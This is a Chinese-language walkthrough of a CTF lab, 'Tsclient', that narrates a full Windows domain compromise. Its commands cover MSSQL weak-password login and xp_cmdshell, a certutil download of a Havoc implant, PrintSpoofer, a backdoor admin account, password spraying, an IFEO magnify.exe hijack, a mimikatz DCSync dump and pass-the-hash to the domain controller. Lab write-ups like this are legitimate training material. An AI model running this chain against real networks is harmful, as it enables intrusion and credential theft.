靶标介绍
Tsclient 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
工具
HAVOC Framework
Navicat
PrintSpoofer
Goby
FLAG 1
开局给了一个IP, 我们先进行一波信息收集,从端口扫描(这里我使用的是goby工具)开始:
主要关注80(web),1433(mssql),3389(rdp)这三个开放端口
可以看到80端口这里是IIS的默认页,应该没什么利用空间,所以暂时先跳过,爆破一手mssql和rdp看看是否存在弱密码:
发现开放在1433端口上的mssql服务可以通过弱口令sa:1qaz!QAZ登陆,直接拿Navicat连一手
接下来就是常规手法了,因为这玩意是个mssql,我们可以尝试通过利用xp_cmdshell执行命令:
查 xp_cmdshell 是否存在(返回1则证明存在)
select count(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell';
判断是不是sa(返回1说明是sa)
select is_srvrolemember('sysadmin');
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
开启后即可执行命令
exec master..xp_cmdshell 'command';
到这里,我们已经可以在入口机上以低权限执行代码了,为了便于进一步操作,我们传个马上去:
先使用Havoc配置好对应的监听器,生成payload
把生成的exe丢到服务器上,在靶机上使用certutil将exe下载下来(这里 http://example.com/file.zip 是你要下载的文件URL, C:\path\to\save\file.zip 是你希望保存文件的路径):
certutil -urlcache -split -f http://example.com/file.zip C:\path\to\save\file.zip
运行下载下来的exe即可成功上线:
下一步,我们需要提权才能拿到FLAG1,传个PrintSpoofer上去提权:
拿到system高权限:
读C:\Users\Administrator\flag\flag01.txt即可拿到FLAG1: 
FLAG 2
在我们已经拿下的第一台机上执行quser,可以发现有个john会话,rdp远程连接
直接tasklist -V找个John所有的进程注入一下,比如这个explorer.exe
用这个权限执行net use可以看到挂载的\\TSCLIENT\C
可以拿到一个账号密码:
拿到这个玩意之后先不急着做密码喷洒,我们先传个fscan上去扫一下内网看看大概是什么结构
172.22.8.18:3389 open
172.22.8.46:3389 open
172.22.8.31:3389 open
172.22.8.15:3389 open
[+] Received Output [639 bytes]:
[*] alive ports len is: 16
start vulscan
[*] NetInfo
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] NetInfo
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:34a7:2547:d89c:1dd5
[*] NetInfo
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetBios 172.22.8.15 [+] DC:XIAORANG\DC01
[*] WebTitle http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] NetInfo
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] NetBios 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
为了方便进一步操作,新建一个用户rdp上去:
net user hacker 1234!@#$qwer /add
net localgroup administrators hacker /add
传个npc:
配个socks5代理搭配proxychains使用:
用crackmapexec直接进行一个密码的喷洒:
proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
发现这三台机子都提示STATUS_PASSWORD_EXPIRED,密码疑似过期了 使用smbpasswd.py修改这三台机子的密码
proxychains -q python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.xx -newpass '1234!@#$qwer'
修改后发现只能连上.46这台机子的rdp,上去检查发现这台机子似乎不出网:
稍微翻了一下没找到啥有意思的东西,结合前面拿到的提示:Do you know how to hijack Image?,合理猜测这里需要用到IFEO提权,先看看IFEO的ACL:
Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl
注意到:
NT AUTHORITY\Authenticated Users Allow SetValue, CreateSubKey, ReadKey
这意味着任何已认证的用户都可以在IFEO中创建或修改项,直接改Debugger提权即可:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
先锁定屏幕:
rundll32.exe user32.dll,LockWorkStation
然后在右下角找到放大镜,打开即可拿到高权限cmd:
拿到flag2: 
FLAG 3
用mimikatz把域内用户的哈希dump下来:
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
impacket-smbexec传hash直接打就行了
proxychains impacket-smbexec -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/administrator@172.22.8.15 -codec gbk

